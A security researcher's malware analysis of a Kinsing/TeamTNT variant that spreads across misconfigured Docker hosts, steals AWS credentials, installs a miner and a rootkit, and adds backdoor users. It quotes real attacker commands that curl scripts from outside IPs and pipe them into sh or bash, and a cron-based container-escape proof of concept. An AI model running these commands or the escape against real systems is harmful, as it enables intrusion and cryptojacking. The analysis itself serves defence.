We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an unencrypted form. Network-aware worms were brute-forcing the credentials of weakly-restricted shares to propagate across networks. Some of them were piggy-backing on Windows Task Scheduler to activate remote payloads.
Today, it's déjà vu all over again. Only in the world of Linux.
As reported earlier this week by Cado Security, a new fork of Kinsing malware propagates across misconfigured Docker platforms and compromises them with a coinminer.
In this analysis, we wanted to break down some of its components and get a closer look into its modus operandi. As it turned out, some of its tricks, such as breaking out of a running Docker container, are quite fascinating.
Let's start from its simplest trick — the credentials grabber.
AWS Credentials Grabber
If you are using cloud services, chances are you may have used Amazon Web Services (AWS).
Once you log in to your AWS Console, create a new IAM user, and configure its type of access to be Programmatic access, the console will provide you with
Access key ID
and Secret access key
of the newly created IAM user.You will then use those credentials to configure the AWS Command Line Interface (CLI) with the
aws configure
command.From that moment on, instead of using the web GUI of your AWS Console, you can achieve the same by using AWS CLI programmatically.
There is one little caveat, though.
AWS CLI stores your credentials in a clear text file called
~/.aws/credentials
.The documentation clearly explains that:
The AWS CLI stores sensitive credential information that you specify with aws configure
in a local file named credentials
, in a folder named .aws
in your home directory.
That means, your cloud infrastructure is now as secure as your local computer.
It was a matter of time for the bad guys to notice such low-hanging fruit, and use it for their profit.
As a result, these files are harvested for all users on the compromised host and uploaded to the C2 server.
Hosting
For hosting, the malware relies on other compromised hosts.
For example,
dockerupdate[.]anondns[.]net
uses an obsolete version of SugarCRM, vulnerable to exploits.The attackers have compromised this server, installed a webshell
b374k
, and then uploaded several malicious files on it, starting from 11 July 2020.A server at
129[.]211[.]98[.]236
, where the worm hosts its own body, is a vulnerable Docker host.According to Shodan, this server currently hosts a malicious Docker container image
system_docker
, which is spun with the following parameters:./nigix --tls-url gulf.moneroocean.stream:20128 -u [MONERO_WALLET] -p x --currency monero --httpd 8080
A history of the executed container images suggests this host has executed multiple malicious scripts under an instance of
alpine
container image:chroot /mnt /bin/sh -c 'iptables -F; chattr -ia /etc/resolv.conf; echo "nameserver 8.8.8.8" > /etc/resolv.conf; curl -m 5 http[://]116[.]62[.]203[.]85:12222/web/xxx.sh | sh' chroot /mnt /bin/sh -c 'iptables -F; chattr -ia /etc/resolv.conf; echo "nameserver 8.8.8.8" > /etc/resolv.conf; curl -m 5 http[://]106[.]12[.]40[.]198:22222/test/yyy.sh | sh' chroot /mnt /bin/sh -c 'iptables -F; chattr -ia /etc/resolv.conf; echo "nameserver 8.8.8.8" > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:12345/zzz.sh | sh' chroot /mnt /bin/sh -c 'iptables -F; chattr -ia /etc/resolv.conf; echo "nameserver 8.8.8.8" > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:26573/test/zzz.sh | sh'
Docker Lan Pwner
A special module called
docker lan pwner
is responsible for propagating the infection across other Docker hosts.To understand the mechanism behind it, it's important to remember that a non-protected Docker host effectively acts as a backdoor trojan.
Configuring Docker daemon to listen for remote connections is easy. All it requires is one extra entry
-H tcp://127.0.0.1:2375
in systemd unit
file or daemon.json
file.Once configured and restarted, the daemon will expose port
2375
for remote clients:$ sudo netstat -tulpn | grep dockerd tcp 0 0 127.0.0.1:2375 0.0.0.0:* LISTEN 16039/dockerd
To attack other hosts, the malware collects network segments for all network interfaces with the help of
ip route show
command. For example, for an interface with an assigned IP 192.168.20.25
, the IP range of all available hosts on that network could be expressed in CIDR notation as 192.168.20.0/24
.For each collected network segment, it launches
masscan
tool to probe each IP address from the specified segment, on the following ports:Port Number | Service Name | Description |
2375 | docker | Docker REST API (plain text) |
2376 | docker-s | Docker REST API (ssl) |
2377 | swarm | RPC interface for Docker Swarm |
4243 | docker | Old Docker REST API (plain text) |
4244 | docker-basic-auth | Authentication for old Docker REST API |
The scan rate is set to 50,000 packets/second.
For example, running
masscan
tool over the CIDR block 192.168.20.0/24
on port 2375,
may produce an output similar to:$ masscan 192.168.20.0/24 -p2375 --rate=50000 Discovered open port 2375/tcp on 192.168.20.25
From the output above, the malware selects a word at the 6th position, which is the detected IP address.
Next, the worm runs
zgrab
— a banner grabber utility — to send an HTTP request "/v1.16/version"
to the selected endpoint.For example, sending such request to a local instance of a Docker daemon results in the following response:
Next, it applies
grep
utility to parse the contents returned by the banner grabber zgrab
, making sure the returned JSON file contains either "ApiVersion"
or "client version 1.16"
string in it. The latest version if Docker daemon will have "ApiVersion"
in its banner.Finally, it will apply
jq
— a command-line JSON processor — to parse the JSON file, extract "ip"
field from it, and return it as a string.With all the steps above combined, the worm simply returns a list of IP addresses for the hosts that run Docker daemon, located in the same network segments as the victim.
For each returned IP address, it will attempt to connect to the Docker daemon listening on one of the enumerated ports, and instruct it to download and run the specified malicious script:
docker -H tcp://[IP_ADDRESS]:[PORT] run --rm -v /:/mnt alpine chroot /mnt /bin/sh -c "curl [MALICIOUS_SCRIPT] | bash; ..."
The malicious script employed by the worm allows it to execute the code directly on the host, effectively escaping the boundaries imposed by the Docker containers.
We'll get down to this trick in a moment. For now, let's break down the instructions passed to the Docker daemon.
The worm instructs the remote daemon to execute a legitimate
alpine
image with the following parameters:--rm
switch will cause Docker to automatically remove the container when it exits-v /:/mnt
is a bind mount parameter that instructs Docker runtime to mount the host's root directory/
within the container as/mnt
chroot /mnt
will change the root directory for the current running process into/mnt
, which corresponds to the root directory/
of the host- a malicious script to be downloaded and executed
Escaping From the Docker Container
The malicious script downloaded and executed within
alpine
container first checks if the user's crontab
— a special configuration file that specifies shell commands to run periodically on a given schedule — contains a string "129[.]211[.]98[.]236"
:crontab -l | grep -e "129[.]211[.]98[.]236" | grep -v grep
If it does not contain such string, the script will set up a new
cron
job with:echo "setup cron" ( crontab -l 2>/dev/null echo "* * * * * $LDR http[:]//129[.]211[.]98[.]236/xmr/mo/mo.jpg | bash; crontab -r > /dev/null 2>&1" ) | crontab -
The code snippet above will suppress the
no crontab for username
message, and create a new scheduled task to be executed every minute.The scheduled task consists of 2 parts: to download and execute the malicious script and to delete all scheduled tasks from the
crontab
.This will effectively execute the scheduled task only once, with a one minute delay.
After that, the container image quits.
There are two important moments associated with this trick:
- as the Docker container's root directory was mapped to the host's root directory
/
, any task scheduled inside the container will be automatically scheduled in the host's rootcrontab
- as Docker daemon runs as root, a remote non-root user that follows such steps will create a task that is scheduled in the root's
crontab
, to be executed as root
Building PoC
To test this trick in action, let's create a shell script that prints
"123"
into a file _123.txt
located in the root directory /
.#!/bin/sh echo "setup cron" ( crontab -l 2>/dev/null echo "* * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1" ) | crontab -
Next, let's pass this script encoded in base64 format to the Docker daemon running on the local host:
docker -H tcp://127.0.0.1:2375 run --rm -v /:/mnt alpine chroot /mnt /bin/sh -c "echo '[OUR_BASE_64_ENCODED_SCRIPT]' | base64 -d | bash"
Upon execution of this command, the
alpine
image starts and quits. This can be confirmed with the empty list of running containers:$ docker -H tcp://127.0.0.1:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
An important question now is if the
crontab
job was created inside the (now destroyed) docker container or on the host?If we check the root's
crontab
on the host, it will tell us that the task was scheduled for the host's root, to be run on the host:$ sudo crontab -l * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1
A minute later, the file
_123.txt
shows up in the host's root directory, and the scheduled entry disappears from the root's crontab
on the host:$ sudo crontab -l no crontab for root
This simple exercise proves that while the malware executes the malicious script inside the spawned container, insulated from the host, the actual task it schedules is created and then executed on the host.
By using the
cron
job trick, the malware manipulates the Docker daemon to execute malware directly on the host!Malicious Script
Upon escaping from container to be executed directly on a remote compromised host, the malicious script will perform the following actions:
- it will disable Aegis — a Security Center agent for Alibaba Cloud
- it will collect system information and post it to C2 at
http[://]sayhi[.]bplaced[.]net/uploads/index.php
- Contents of the files:
/etc/passwd
/etc/hosts
- List of running processes
- List of open ports and the process that keep them open
- List of files in the directories:
/root
/home
- List of scheduled tasks
- CPU information
- Contents of the files:
- it will kill other existing (competing) cryptomining services
- it will download and install cryptominer — a MoneroOcean's XMRig fork — into
/usr/share/[crypto]
- the script will clone a GitHub repository of Diamorphine — a kernel-mode rootkit, compile it as
diamorphine.ko
ELF binary, and load it into kernel withinsmod
command to hide the cryptominer's process - it will create entries in the files
/etc/passwd
,/etc/shadow
, and/etc/sudoers
to register userhilde
as a root - it will add a new hard-coded public RSA key for the user
hilde@teamtnt.red
into/root/.ssh/authorized_keys
and/root/.ssh/authorized_keys2
, so that the userhilde@teamtnt.red
could authenticate with the compromised host's SSH server, using its own private key - it will delete any Docker containers that were launched with the following parameters:
/bin/bash
/root/startup.sh
widoc26117/xmr
zbrtgwlxz
tail -f /dev/null
The Docker container
widoc26117/xmr
it deletes is a publicly available Docker image with 2.5 thousand downloads. An analysis of this image in the Prevasio's Dynamic Analysis Sandbox reveals it's a XMRig coinminer with the following visual graph of the system events:According to an earliers post from Aqua Security, a container image
"zbrtgwlxz"
is a known container image built by the attackers directly on a misconfigured Docker host.As per Shodan, the image
"zbrtgwlxz"
was found to be deployed over 29 compromised hosts, all located in China.You've Been Punked
The malicious script also installs
punk.py
— an SSH post-exploitation tool.When a user sets up SSH Keys to log to a remote host, the public key is deployed to the host, while the private key is stored in a local file
/home/[USER]/.ssh/id_rsa
.Upon successful connection of the SSH client to the remote host, the authenticity of the host is established, and the hash of its IP address is saved into the
known_hosts
file.Upon subsequent connections, the SSH client locates the hash of the remote host in the
known_hosts
file and no longer prompts the user to authenticate the remote host.The post-exploitation tool
punk.py
allows red teams to extract IP addresses from the known_hosts
file. It does so by enumerating all IP addresses from the arbitrary network ranges, then hashing each IP with SHA1, and checking if the calculated hash can be found in the known_hosts
file.The result of such brute-forcing allows the tool to recover the remote hosts that the given user has ever connected to from the compromised system.
Below is an example of the tool successfully recovering IP address
192.168.20.25
from the known_hosts
file, by enumerating all IPs from a CIDR block 192.168.20.0/24
:$ python ./punk.py -c 192.168.20.0/24 | \ | / . \ | / . `-.__|\/_\/|_.-' .__ \ / `./ `- @| .-'`. !! - -=[ punk.py - unix SSH post-exploitation 1337 tool ' ` ! __.' -=[ by `r3vn` ( tw: @r3vnn ) _)___( -=[ https://xfiltrated.com [*] enumerating valid users with ssh keys... [*] Cracking known hosts on /home/[USER]/.ssh/known_hosts... [*] Found 192.168.20.25 [*] Done.For each located remote host IP, the tool can then attempt to SSH to the remote host, using the private SSH key harvested from the local
/home/[USER]/.ssh/id_rsa
file. If the connection is successful, it can then run an arbitrary command on the remote host.Even though this tool was designed for red teams, the attackers have apparently re-purposed it for their own fun and profit.
Once they find private SSH keys for any users or root on the compromised host, they install
punk.py
into /usr/bin/pu
and then notify themselves by fetching a single pixel from iplogger.org service.Once notified, the attackers will be able to SSH into the compromised system (the public SSH key of
hilde@teamtnt.red
user is authorized), to run this tool and to use it for network pivoting from a compromised system into other hosts, further spreading the infection.Conclusion
The analysis of this malware reveals a trail of script kiddies. Some of the tricks they use are smart, but overall, the nature of their coding is hectic, quick, designed for a quick hack and for a quick profit.
By compromising unsecured Docker hosts, the attackers seem to be interested in only one asset: the computing power of the hosts, the hardware.
These are good news.
The bad news is that such reckless hooliganism does not play well with the cloud production systems, especially if they run critical services.
A production system may potentially crumble not because of a deliberate nation-sponsored attack or an act of sabotage (this may happen as well), but because the kids may have hacked it, willing to make a few dollars worth of cryptocurrency.
We're yet to see what these script kiddies will grow into. Practice shows they normally grow pretty fast.